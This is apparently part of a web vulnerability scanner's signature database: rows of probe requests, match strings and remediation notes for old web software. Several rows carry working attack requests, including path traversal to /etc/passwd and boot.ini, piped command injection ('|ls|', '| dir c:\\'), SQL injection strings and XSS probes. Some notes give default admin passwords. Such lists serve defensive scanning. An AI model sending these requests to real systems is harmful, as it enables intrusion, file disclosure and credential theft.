"001464","2695","b","@CGIDIRSphoto/","GET","200","","","","","My Photo Gallery pre 3.6 contains multiple vulnerabilities including directory traversal, unspecified vulnerabilities, and remote management interface access.","","" "001465","271","2","/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qfullhit.htw&CiRestriction=none&CiHiliteType=Full","GET","This is the formatting page for webhits full highlighting","","","","","All default files should be removed.","","" "001466","271","2","/iissamples/issamples/oop/qsumrhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qsumrhit.htw&CiRestriction=none&CiHiliteType=Full","GET","This is the formatting page for webhits summary highlighting.","","","","","All default files should be removed.","","" "001467","271","5","/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full","GET","<html>","","","","","It is possible to retrieve the source of .asp files or view any file on the system. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097.","","" "001468","271","5","/","GET","null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full","","","","","It is possible to retrieve the source of .asp files. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp","","" "001469","2713","4","/jsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../boot.ini","GET","boot loader","","","","","The JRUN view_source.jsp allows arbitrary file retrieval from the host. Upgrade to JRUN 2.3.3 or higher, or remove all default scripts. CVE-2000-0540. BID-1386.","","" "001470","2713","4","/jsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../etc/passwd","GET","root:","","","","","The JRUN view_source.jsp allows arbitrary file retrieval from the host. Upgrade to JRUN 2.3.3 or higher, or remove all default scripts. CVE-2000-0540. BID-1386.","","" "001471","2717","8","@CGIDIRSinclude/new-visitor.inc.php","GET","200","","","","","Les Visiteurs 2.0.1 and prior are vulnerable to remote command execution. BID 8902 for exploit example.","","" "001472","2719","3","/%3f.jsp","GET","WEB-INF","","","","","WebTide allows directory listings by appending %3f.jsp. Upgrade to 7.05 or higher.","","" "001473","2719","3","/%3f.jsp","GET","WebTide","","","","","WebTide allows directory listings by appending %3f.jsp. Upgrade to 7.05 or higher.","","" "001474","272","8","/msadc/msadcs.dll","GET","200","","","not authorized","","See RDS advisory RFP9902, CVE-1999-1011, MS98-004, MS99-025 RFP-9902 BID-29 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d1.htm), CIAC J-054 http://www.ciac.org/ciac/bulletins/j-054.shtml www.securityfocus.com/bid/529","","" "001475","2721","7","../../../../../../../../../../etc/*","GET","passwd","","","","","Charles Steinkuehler's LEAF sh-httpd allows remote users to read any file or directory on the system. XF-13519, BID-8897","","" "001476","2721","7","../../../../../../../../../../etc/passw*","GET","root:","","","","","Charles Steinkuehler's LEAF sh-httpd allows remote users to read any file or directory on the system. XF-13519, BID-8897","","" "001477","2722","7","/bytehoard/index.php?infolder=../../../../../../../../../../../etc/","GET","passwd","","","","","ByteHoard 0.7 is vulnerable to a directory traversal attack. Upgrade to version 0.71 or higher.","","" "001478","2723","3","/Search","GET","index of","","","","","FirstClass 7.1 server allows file listing of any directory by accessing the /Search url.","","" "001479","2735","d","/musicqueue.cgi","GET","200","","","","","Musicqueue 1.20 is vulnerable to a buffer overflow. Ensure the latest version is installed (exploit not attempted). http://musicqueue.sourceforge.net/","","" "001480","2735","d","@CGIDIRSmusicqueue.cgi","GET","200","","","","","Musicqueue 1.20 is vulnerable to a buffer overflow. Ensure the latest version is installed (exploit not attempted). http://musicqueue.sourceforge.net/","","" "001481","275","3","/scripts/tools/newdsn.exe","GET","200","","","","","This can be used to make DSNs, useful in use with an ODBC exploit and the RDS exploit (with msadcs.dll). Also may allow files to be created on the server. BID-1818. CVE-1999-0191. RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm)","","" "001482","2780","7","/OpenFile.aspx?file=../../../../../../../../../../boot.ini","GET","boot loader","","","","","HTTP Commander 4.0 allows directory traversal and reading of arbitrary files.","","" "001483","279","7","@CGIDIRSwindmail","GET","200","","","","","Some versions are vulnerable. Request 'windmail?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file","","" "001484","279","7","@CGIDIRSwindmail.exe","GET","200","","","","","Some versions are vulnerable. Request 'windmail.exe?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file","","" "001485","279","7","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%","GET","boot loader","","","","","WINDMAIL.EXE can read arbitrary files","","" "001486","279","7","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\",","GET","200","","","","","WINDMAIL.EXE can read arbitrary files","","" "001487","2790","4","/index.php?vo=\">","GET",">","","","","","Ralusp Sympoll 1.5 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001488","2793","7","/.../.../.../.../.../.../.../.../.../.../etc/passwd","GET","root:","","","","","TelCondex SimpleWebserver 2.13.31027 and below allows directory traversal.","","" "001489","2799","8","@CGIDIRSdose.pl?daily&somefile.txt&|ls|","GET","somefile.txt","","","","","DailyDose 1.1 is vulnerable to a directory traversal attack in the 'list' parameter.","","" "001490","2813","4","/admin/database/wwForum.mdb","GET","200","","","","","Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein","","" "001491","2830","5","/../config.dat","GET","EnablePasswords","","","","","Directory traversal and config.dat suggests NetServe web server and default admin folder. This file contains the administrative login/pass.","","" "001492","284","3","/iisadmpwd/aexp2.htr","GET","200","","","value=\"\"","","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-1999-0407. BID-4236. BID-2110.","","" "001493","284","3","/iisadmpwd/aexp2b.htr","GET","200","","","value=\"\"","","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-1999-0407. BID-4236. BID-2110.","","" "001494","284","3","/iisadmpwd/aexp3.htr","GET","200","","","value=\"\"","","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-1999-0407. BID-4236. BID-2110.","","" "001495","284","3","/iisadmpwd/aexp4.htr","GET","200","","","value=\"\"","","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-1999-0407. BID-4236. BID-2110.","","" "001496","284","3","/iisadmpwd/aexp4b.htr","GET","200","","","value=\"\"","","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-1999-0407. BID-4236. BID-2110.","","" "001497","2842","a","//admin/aindex.htm","GET","200","","","","","FlexWATCH firmware 2.2 is vulnerable to authentication bypass by prepending an extra '/'. http://packetstorm.linuxsecurity.com/0310-exploits/FlexWATCH.txt","","" "001498","2873","a","@CGIDIRSgbadmin.cgi?action=change_adminpass","GET","200","","","","","RNN Guestbook 1.2 contains multiple vulnerabilities including remotely changing administrative password, deleting posts, changing the setup, remotely executing commands, and more. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 200","","" "001499","2873","a","@CGIDIRSgbadmin.cgi?action=change_automail","GET","200","","","","","RNN Guestbook 1.2 contains multiple vulnerabilities including remotely changing administrative password, deleting posts, changing the setup, remotely executing commands, and more. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 200","","" "001500","2873","a","@CGIDIRSgbadmin.cgi?action=colors","GET","200","","","","","RNN Guestbook 1.2 contains multiple vulnerabilities including remotely changing administrative password, deleting posts, changing the setup, remotely executing commands, and more. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 200","","" "001501","2873","a","@CGIDIRSgbadmin.cgi?action=setup","GET","200","","","","","RNN Guestbook 1.2 contains multiple vulnerabilities including remotely changing administrative password, deleting posts, changing the setup, remotely executing commands, and more. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 200","","" "001502","2915","a","@CGIDIRSgbpass.pl","GET","200","","","",""," RNN Guestbook 1.2 password storage file. Administrative password should be stored in plaintext. Access gbadmin.cgi in the same directory to (ab)use. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 2003 BugTraq post by brainrawt@ha","","" "001503","2921","4","/shopping/shopdisplayproducts.asp?id=1&cat=","GET","","","","","","VP-ASP prior to 4.50 are vulnerable to XSS attacks","","" "001504","2921","4","shopdisplayproducts.asp?id=1&cat=","GET","","","","","","VP-ASP SHopping Cart 4.x shopdisplayproducts.asp XSS.","","" "001505","2922","3","/admin/wg_user-info.ml","GET","200","","","","","WebGate Web Eye exposes user names and passwords.","","" "001506","2927","4","/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'/*","GET","Statistics for your banner","","","","","Xoops 1.3.x, 2.0.x thru 2.0.5 are vulnerable to SQL injection in the banners.php file. Upgrade to 2.0.5.1 or higher.","","" "001507","294","a","/c32web.exe/ChangeAdminPassword","GET","200","","","","","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password.","","" "001508","2944","3","/showmail.pl","GET","200","","","","","@Mail WebMail 3.52 allows attacker to read arbitrary user's mailbox. Requires knowing valid user name and appending ?Folder=../../victim@somehost.com/mbox/Inbox to the showmail.pl file.","","" "001509","2948","9","/reademail.pl","GET","200","","","","","@Mail WebMail 3.52 contains an SQL injection that allows attacker to read any email message for any address registered in the system. Example to append to reademail.pl: ?id=666&folder=qwer'%20or%20EmailDatabase_v.Account='victim@atmail.com&print=1","","" "001510","2950","4","/showmail.pl?Folder=","GET","","","","404","","@Mail WebMail 3.52 contains an XSS in the showmail.pl file.","","" "001511","3","6","/iissamples/exair/search/query.asp","GET","200","","","","","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193.","","" "001512","3058","9","/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[sqlgoeshere]","GET","query error","","mySQL error","","","Invision Power Board 2.0alpha3 and before are vulnerable to an SQL injection attack.","","" "001513","3059","9","/index.php?offset=[%20Problem%20Here%20]","GET","error in your SQL syntax","","","","","Invision Power Top Site List 1.1 contains an SQL Injection Vulnerability.","","" "001514","3092","1","/buddies.blt","GET","200","","","","","Buddy List?","","" "001515","3092","1","/buddy.blt","GET","200","","","","","Buddy List?","","" "001516","3092","1","/buddylist.blt","GET","200","","","","","Buddy List?","","" "001517","3092","1","/cgi-sys/addalink.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001518","3092","1","/cgi-sys/cgiecho","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001519","3092","1","/cgi-sys/cgiemail","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001520","3092","1","/cgi-sys/countedit","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001521","3092","1","/cgi-sys/domainredirect.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001522","3092","1","/cgi-sys/entropybanner.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001523","3092","1","/cgi-sys/entropysearch.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001524","3092","1","/cgi-sys/FormMail-clone.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001525","3092","1","/cgi-sys/helpdesk.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001526","3092","1","/cgi-sys/mchat.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001527","3092","1","/cgi-sys/randhtml.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001528","3092","1","/cgi-sys/realhelpdesk.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001529","3092","1","/cgi-sys/realsignup.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001530","3092","1","/cgi-sys/scgiwrap","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001531","3092","1","/cgi-sys/signup.cgi","GET","200","","","","","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web","","" "001532","3268","12","/pdf/","GET","Index of","200","","","","Directory indexing is enabled: /pdf","","" "001533","3092","1","/sqlnet.log","GET","200","","","","","Oracle log file found.","","" "001534","3092","1","@CGIDIRSGW5/GWWEB.EXE","GET","200","","","","","Groupwise web interface","","" "001535","3092","1","/.psql_history","GET","200","","","","","This might be interesting...","","" "001536","3092","1","/acceso/","GET","200","","","","","This might be interesting...","","" "001537","3092","1","/access-log","GET","200","","","","","This might be interesting...","","" "001538","3092","1","/access.log","GET","200","","","","","This might be interesting...","","" "001539","3092","1","/access/","GET","200","","","","","This might be interesting...","","" "001540","3092","1","/access_log","GET","200","","","","","This might be interesting...","","" "001541","3092","1","/acciones/","GET","200","","","","","This might be interesting...","","" "001542","3092","1","/account/","GET","200","","","","","This might be interesting...","","" "001543","3092","1","/accounting/","GET","200","","","","","This might be interesting...","","" "001544","3092","1","/activex/","GET","200","","","","","This might be interesting...","","" "001545","3092","1","/adm/","GET","200","","","","","This might be interesting...","","" "001546","3092","1","/admin.htm","GET","200","","","","","This might be interesting...","","" "001547","3092","1","/admin.html","GET","200","","","","","This might be interesting...","","" "001548","3092","1","/admin.php","GET","200","","","","","This might be interesting...","","" "001549","3092","1","/admin.php3","GET","200","","","","","This might be interesting...","","" "001550","3092","1","/admin.shtml","GET","200","","","","","This might be interesting...","","" "001551","3092","1","/admin/","GET","200","","","","","This might be interesting...","","" "001552","3092","1","/Administration/","GET","200","","","","","This might be interesting...","","" "001553","3092","1","/administration/","GET","200","","","","","This might be interesting...","","" "001554","3092","1","/administrator/","GET","200","","","","","This might be interesting...","","" "001555","3092","1","/Admin_files/","GET","200","","","","","This might be interesting...","","" "001556","3092","1","/advwebadmin/","GET","200","","","","","This might be interesting...probably HostingController, www.hostingcontroller.com","","" "001557","3092","1","/Agent/","GET","200","","","","","This might be interesting...","","" "001558","3092","1","/Agentes/","GET","200","","","","","This might be interesting...","","" "001559","3092","1","/agentes/","GET","200","","","","","This might be interesting...","","" "001560","3092","1","/Agents/","GET","200","","","","","This might be interesting...","","" "001561","3092","1","/analog/","GET","200","","","","","This might be interesting...","","" "001562","3092","1","/apache/","GET","200","","","","","This might be interesting...","","" "001563","3092","1","/app/","GET","200","","","","","This might be interesting...","","" "001564","3092","1","/applicattion/","GET","200","","","","","This might be interesting...","","" "001565","3092","1","/applicattions/","GET","200","","","","","This might be interesting...","","" "001566","3092","1","/apps/","GET","200","","","","","This might be interesting...","","" "001567","3092","1","/archivar/","GET","200","","","","","This might be interesting...","","" "001568","3092","1","/archive/","GET","200","","","","","This might be interesting...","","" "001569","3092","1","/archives/","GET","200","","","","","This might be interesting...","","" "001570","3092","1","/archivo/","GET","200","","","","","This might be interesting...","","" "001571","3092","1","/asp/","GET","200","","","","","This might be interesting...","","" "001572","3092","1","/Asp/","GET","200","","","","","This might be interesting...","","" "001573","3092","1","/atc/","GET","200","","","","","This might be interesting...","","" "001574","3092","1","/auth/","GET","200","","","","","This might be interesting...","","" "001575","3092","1","/awebvisit.stat","GET","200","","","","","This might be interesting...","","" "001576","3092","1","/ayuda/","GET","200","","","","","This might be interesting...","","" "001577","3092","1","/backdoor/","GET","200","","","","","This might be interesting...","","" "001578","3092","1","/backup/","GET","200","","","","","This might be interesting...","","" "001579","3092","1","/bak/","GET","200","","","","","This might be interesting...","","" "001580","3092","1","/banca/","GET","200","","","","","This might be interesting...","","" "001581","3092","1","/banco/","GET","200","","","","","This might be interesting...","","" "001582","3092","1","/bank/","GET","200","","","","","This might be interesting...","","" "001583","3092","1","/bbv/","GET","200","","","","","This might be interesting...","","" "001584","3092","1","/bdata/","GET","200","","","","","This might be interesting...","","" "001585","3092","1","/bdatos/","GET","200","","","","","This might be interesting...","","" "001586","3092","1","/beta/","GET","200","","","","","This might be interesting...","","" "001587","3092","1","/bin/","GET","200","","","","","This might be interesting...","","" "001588","3092","1","/boot/","GET","200","","","","","This might be interesting...","","" "001589","3092","1","/buy/","GET","200","","","","","This might be interesting...","","" "001590","3092","1","/buynow/","GET","200","","","","","This might be interesting...","","" "001591","3092","1","/c/","GET","200","","","","","This might be interesting...","","" "001592","3092","1","/cache-stats/","GET","200","","","","","This might be interesting...","","" "001593","3092","1","/caja/","GET","200","","","","","This might be interesting...","","" "001594","3092","1","/card/","GET","200","","","","","This might be interesting...","","" "001595","3092","1","/cards/","GET","200","","","","","This might be interesting...","","" "001596","3092","1","/cart/","GET","200","","","","","This might be interesting...","","" "001597","3092","1","/cash/","GET","200","","","","","This might be interesting...","","" "001598","3092","1","/ccard/","GET","200","","","","","This might be interesting...","","" "001599","3092","1","/ccbill/secure/ccbill.log","GET","200","","","","","This might be interesting... CC Bill log file?","","" "001600","3092","1","/cd/","GET","200","","","","","This might be interesting...","","" "001601","3092","1","/cdrom/","GET","200","","","","","This might be interesting...","","" "001602","3092","1","/cert/","GET","200","","","","","This might be interesting...","","" "001603","3092","1","/certificado/","GET","200","","","","","This might be interesting...","","" "001604","3092","1","/certificate","GET","200","","","","","This may be interesting...","","" "001605","3092","1","/certificates","GET","200","","","","","This may be interesting...","","" "001606","3092","1","/cfdocs/exampleapp/email/application.cfm","GET","200","not found","","","","This might be interesting...","","" "001607","3092","1","/cfdocs/exampleapp/publish/admin/addcontent.cfm","GET","200","not found","","","","This might be interesting...","","" "001608","3092","1","/cfdocs/exampleapp/publish/admin/application.cfm","GET","200","not found","","","","This might be interesting...","","" "001609","3092","1","/cfdocs/examples/httpclient/mainframeset.cfm","GET","200","not found","","","","This might be interesting...","","" "001610","3092","1","/cgi-bin/dbmlparser.exe","GET","200","","","","","This might be interesting...","","" "001611","3092","1","/cgi-bin/icat","GET","200","","","","","This might be interesting...","","" "001612","3092","1","/client/","GET","200","","","","","This might be interesting...","","" "001613","3092","1","/cliente/","GET","200","","","","","This might be interesting...","","" "001614","3092","1","/clientes/","GET","200","","","","","This might be interesting...","","" "001615","3092","1","/clients/","GET","200","","","","","This might be interesting...","","" "001616","3092","1","/cm/","GET","200","","","","","This might be interesting...","","" "001617","3268","2","/code/","GET","Index of ","","","","","Directory indexing is enabled: /code/","","" "001618","3092","1","/communicator/","GET","200","","","","","This might be interesting...","","" "001619","3092","1","/compra/","GET","200","","","","","This might be interesting...","","" "001620","3092","1","/compras/","GET","200","","","","","This might be interesting...","","" "001621","3092","1","/compressed/","GET","200","","","","","This might be interesting...","","" "001622","3092","1","/conecta/","GET","200","","","","","This might be interesting...","","" "001623","3268","2","/config/","GET","Index of ","","","","","Directory indexing is enabled: /config/","","" "001624","3092","1","/config/checks.txt","GET","200","","","","","This might be interesting...","","" "001625","3092","1","/connect/","GET","200","","","","","This might be interesting...","","" "001626","3092","1","/console","GET","200","","","","","This may be interesting...","","" "001627","3092","1","/correo/","GET","200","","","","","This might be interesting...","","" "001628","3268","2","/counter/","GET","Index of ","","","","","Directory indexing is enabled: /counter/","","" "001629","3268","2","/credit/","GET","Index of ","","","","","Directory indexing is enabled: /credit/","","" "001630","3092","1","/crypto/","GET","200","","","","","This might be interesting...","","" "001631","3092","1","/css","GET","200","","","","","This might be interesting...","","" "001632","3092","1","/cuenta/","GET","200","","","","","This might be interesting...","","" "001633","3092","1","/cuentas/","GET","200","","","","","This might be interesting...","","" "001634","3268","2","/customers/","GET","Index of ","","","","","Directory indexing is enabled: /customers/","","" "001635","3092","1","/dan_o.dat","GET","200","","","","","This might be interesting...","","" "001636","3092","1","/dat/","GET","200","","","","","This might be interesting...","","" "001637","3092","1","/data/","GET","200","","","","","This might be interesting...","","" "001638","3092","1","/dato/","GET","200","","","","","This might be interesting...","","" "001639","3092","1","/datos/","GET","200","","","","","This might be interesting...","","" "001640","3092","1","/db/","GET","200","","","","","This might be interesting...","","" "001641","3092","1","/dbase/","GET","200","","","","","This might be interesting...","","" "001642","3092","1","/demo/","GET","200","","","","","This may be interesting...","","" "001643","3092","1","/demos/","GET","200","","","","","This might be interesting...","","" "001644","3092","1","/dev/","GET","200","","","","","This might be interesting...","","" "001645","3092","1","/devel/","GET","200","","","","","This might be interesting...","","" "001646","3092","1","/development/","GET","200","","","","","This might be interesting...","","" "001647","3092","1","/dir/","GET","200","","","","","This might be interesting...","","" "001648","3092","1","/directory/","GET","200","","","","","This might be interesting...","","" "001649","3092","1","/DMR/","GET","200","","","","","This might be interesting...","","" "001650","3092","1","/doc-html/","GET","200","","","","","This might be interesting...","","" "001651","3092","1","/down/","GET","200","","","","","This might be interesting...","","" "001652","3092","1","/download/","GET","200","","","","","This might be interesting...","","" "001653","3092","1","/downloads/","GET","200","","","","","This might be interesting...","","" "001654","3092","1","/easylog/easylog.html","GET","200","","","","","This might be interesting...","","" "001655","3092","1","/ejemplo/","GET","200","","","","","This might be interesting...","","" "001656","3092","1","/ejemplos/","GET","200","","","","","This might be interesting...","","" "001657","3092","1","/employees/","GET","200","","","","","This might be interesting...","","" "001658","3092","1","/envia/","GET","200","","","","","This might be interesting...","","" "001659","3092","1","/enviamail/","GET","200","","","","","This might be interesting...","","" "001660","3092","1","/error_log","GET","200","","","","","This might be interesting...","","" "001661","3092","1","/es/","GET","200","","","","","This might be interesting...","","" "001662","3092","1","/excel/","GET","200","","","","","This might be interesting...","","" "001663","3092","1","/Excel/","GET","200","","","","","This might be interesting...","","" "001664","3092","1","/EXE/","GET","200","","","","","This might be interesting...","","" "001665","3092","1","/exe/","GET","200","","","","","This might be interesting...","","" "001666","3092","1","/fbsd/","GET","200","","","","","This might be interesting...","","" "001667","3092","1","/file/","GET","200","","","","","This might be interesting...","","" "001668","3092","1","/fileadmin/","GET","200","","","","","This might be interesting...","","" "001669","3092","1","/files/","GET","200","","","","","This might be interesting...","","" "001670","3092","1","/forum/","GET","200","","","","","This might be interesting...","","" "001671","3092","1","/forums/","GET","200","","","","","This might be interesting...","","" "001672","3092","1","/foto/","GET","200","","","","","This might be interesting...","","" "001673","3092","1","/fotos/","GET","200","","","","","This might be interesting...","","" "001674","3092","1","/fpadmin/","GET","200","","","","","This might be interesting...","","" "001675","3092","1","/ftp/","GET","200","","","","","This might be interesting...","","" "001676","3092","1","/gfx/","GET","200","","","","","This might be interesting...","","" "001677","3092","1","/global/","GET","200","","","","","This might be interesting...","","" "001678","3092","1","/graphics/","GET","200","","","","","This might be interesting...","","" "001679","3092","1","/guest/","GET","200","","","","","This might be interesting...","","" "001680","3092","1","/guestbook/","GET","200","","","","","This might be interesting...","","" "001681","3092","1","/guests/","GET","200","","","","","This might be interesting...","","" "001682","3092","1","/hidden/","GET","200","","","","","This might be interesting...","","" "001683","3092","1","/hitmatic/","GET","200","","","","","This might be interesting...","","" "001684","3092","1","/hitmatic/analyse.cgi","GET","200","","","","","This might be interesting...","","" "001685","3092","1","/hits.txt","GET","200","","","","","This might be interesting...","","" "001686","3092","1","/hit_tracker/","GET","200","","","","","This might be interesting...","","" "001687","3092","1","/home/","GET","200","","","","","This might be interesting...","","" "001688","3092","1","/homepage/","GET","200","","","","","This might be interesting...","","" "001689","3092","1","/htdocs/","GET","200","","","","","This might be interesting...","","" "001690","3092","1","/html/","GET","200","","","","","This might be interesting...","","" "001691","3092","1","/htpasswd","GET","200","","","","","This might be interesting...","","" "001692","3092","1","/HyperStat/stat_what.log","GET","200","","","","","This might be interesting...","","" "001693","3092","1","/hyperstat/stat_what.log","GET","200","","","","","This might be interesting...","","" "001694","3092","1","/ibill/","GET","200","","","","","This might be interesting...","","" "001695","3092","1","/idea/","GET","200","","","","","This might be interesting...","","" "001696","3092","1","/ideas/","GET","200","","","","","This might be interesting...","","" "001697","3092","1","/imagenes/","GET","200","","","","","This might be interesting...","","" "001698","3092","1","/img/","GET","200","","","","","This may be interesting...","","" "001699","3092","1","/imgs/","GET","200","","","","","This might be interesting...","","" "001700","3092","1","/import/","GET","200","","","","","This might be interesting...","","" "001701","3092","1","/impreso/","GET","200","","","","","This might be interesting...","","" "001702","3092","1","/includes/","GET","200","","","","","This might be interesting...","","" "001703","3092","1","/incoming/","GET","200","","","","","This might be interesting...","","" "001704","3092","1","/info/","GET","200","","","","","This might be interesting...","","" "001705","3092","1","/informacion/","GET","200","","","","","This might be interesting...","","" "001706","3092","1","/information/","GET","200","","","","","This might be interesting...","","" "001707","3092","1","/ingresa/","GET","200","","","","","This might be interesting...","","" "001708","3092","1","/ingreso/","GET","200","","","","","This might be interesting...","","" "001709","3092","1","/install/","GET","200","","","","","This might be interesting...","","" "001710","3092","1","/internal/","GET","200","","","","","This might be interesting...","","" "001711","3092","1","/intranet/","GET","200","","","","","This might be interesting...","","" "001712","3092","1","/invitado/","GET","200","","","","","This might be interesting...","","" "001713","3092","1","/invitados/","GET","200","","","","","This might be interesting...","","" "001714","3268","2","/java-plugin/","GET","index of","","","","","Directory indexing is enabled: /java-plugin/","","" "001715","3092","1","/java/","GET","200","","","","","This might be interesting...","","" "001716","3092","1","/jdbc/","GET","200","","","","","This might be interesting...","","" "001717","3092","1","/job/","GET","200","","","","","This might be interesting...","","" "001718","3092","1","/jrun/","GET","200","","","","","This might be interesting...","","" "001719","3092","1","/js","GET","200","","","","","This might be interesting...","","" "001720","3092","1","/lib/","GET","200","","","","","This might be interesting...","","" "001721","3092","1","/library/","GET","200","","","","","This might be interesting...","","" "001722","3092","1","/libro/","GET","200","","","","","This might be interesting...","","" "001723","3092","1","/linux/","GET","200","","","","","This might be interesting...","","" "001724","3092","1","/log.htm","GET","200","","","","","This might be interesting...","","" "001725","3092","1","/log.html","GET","200","","","","","This might be interesting...","","" "001726","3092","1","/log.txt","GET","200","","","","","This might be interesting...","","" "001727","3092","1","/logfile","GET","200","","","","","This might be interesting...","","" "001728","3092","1","/logfile.htm","GET","200","","","","","This might be interesting...","","" "001729","3092","1","/logfile.html","GET","200","","","","","This might be interesting...","","" "001730","3092","1","/logfile.txt","GET","200","","","","","This might be interesting...","","" "001731","3092","1","/logfile/","GET","200","","","","","This might be interesting...","","" "001732","3092","1","/logfiles/","GET","200","","","","","This might be interesting...","","" "001733","3092","1","/logger.html","GET","200","","","","","This might be interesting...","","" "001734","3092","1","/logger/","GET","200","","","","","This might be interesting...","","" "001735","3092","1","/logging/","GET","200","","","","","This might be interesting...","","" "001736","3092","1","/login/","GET","200","","","","","This might be interesting...","","" "001737","3092","1","/logs.txt","GET","200","","","","","This might be interesting...","","" "001738","3092","1","/logs/","GET","200","","","","","This might be interesting...","","" "001739","3092","1","/logs/access_log","GET","200","","","","","This might be interesting...","","" "001740","3092","1","/logs/error_log","GET","200","","","","","This might be interesting...","","" "001741","3092","1","/lost+found/","GET","200","","","","","This might be interesting...","","" "001742","3092","1","/mail/","GET","200","","","","","This might be interesting...","","" "001743","3092","1","/manage/cgi/cgiproc","GET","200","","","","","This might be interesting...","","" "001744","3092","1","/marketing/","GET","200","","","","","This might be interesting...","","" "001745","3092","1","/master.password","GET","200","","","","","This might be interesting...","","" "001746","3092","1","/mbox","GET","200","","","","","This might be interesting...","","" "001747","3092","1","/members/","GET","200","","","","","This might be interesting...","","" "001748","3092","1","/message/","GET","200","","","","","This might be interesting...","","" "001749","3092","1","/messaging/","GET","200","","","","","This might be interesting...","","" "001750","3092","1","/ministats/admin.cgi","GET","200","","","","","This might be interesting...","","" "001751","3092","1","/misc/","GET","200","","","","","This might be interesting...","","" "001752","3092","1","/mkstats/","GET","200","","","","","This might be interesting...","","" "001753","3092","1","/movimientos/","GET","200","","","","","This might be interesting...","","" "001754","3092","1","/mp3/","GET","200","","","","","This might be interesting...","","" "001755","3092","1","/mqseries/","GET","200","","","","","This might be interesting...","","" "001756","3092","1","/msql/","GET","200","","","","","This might be interesting...","","" "001757","3092","1","/msword/","GET","200","","","","","This might be interesting...","","" "001758","3092","1","/Msword/","GET","200","","","","","This might be interesting...","","" "001759","3092","1","/MSword/","GET","200","","","","","This might be interesting...","","" "001760","3092","1","/NetDynamic/","GET","200","","","","","This might be interesting...","","" "001761","3092","1","/NetDynamics/","GET","200","","","","","This might be interesting...","","" "001762","3092","1","/netscape/","GET","200","","","","","This might be interesting...","","" "001763","3092","1","/new","GET","200","","","","","This may be interesting...","","" "001764","3092","1","/new/","GET","200","","","","","This might be interesting...","","" "001765","3092","1","/news","GET","200","","","","","This may be interesting...","","" "001766","3092","1","/nl/","GET","200","","","","","This might be interesting...","","" "001767","3092","1","/noticias/","GET","200","","","","","This might be interesting...","","" "001768","3092","1","/odbc/","GET","200","","","","","This might be interesting...","","" "001769","3092","1","/officescan/cgi/jdkRqNotify.exe","GET","200","","","","","This might be interesting...","","" "001770","3092","1","/old/","GET","200","","","","","This might be interesting...","","" "001771","3092","1","/oracle","GET","200","","","","","This might be interesting...","","" "001772","3092","1","/oradata/","GET","200","","","","","This might be interesting...","","" "001773","3092","1","/order/","GET","200","","","","","This might be interesting...","","" "001774","3092","1","/orders/","GET","200","","","","","This might be interesting...","","" "001775","3092","1","/orders/checks.txt","GET","200","","","","","This might be interesting...","","" "001776","3092","1","/orders/mountain.cfg","GET","200","","","","","This might be interesting...","","" "001777","3092","1","/orders/orders.log","GET","200","","","","","This might be interesting...","","" "001778","3092","1","/orders/orders.txt","GET","200","","","","","This might be interesting...","","" 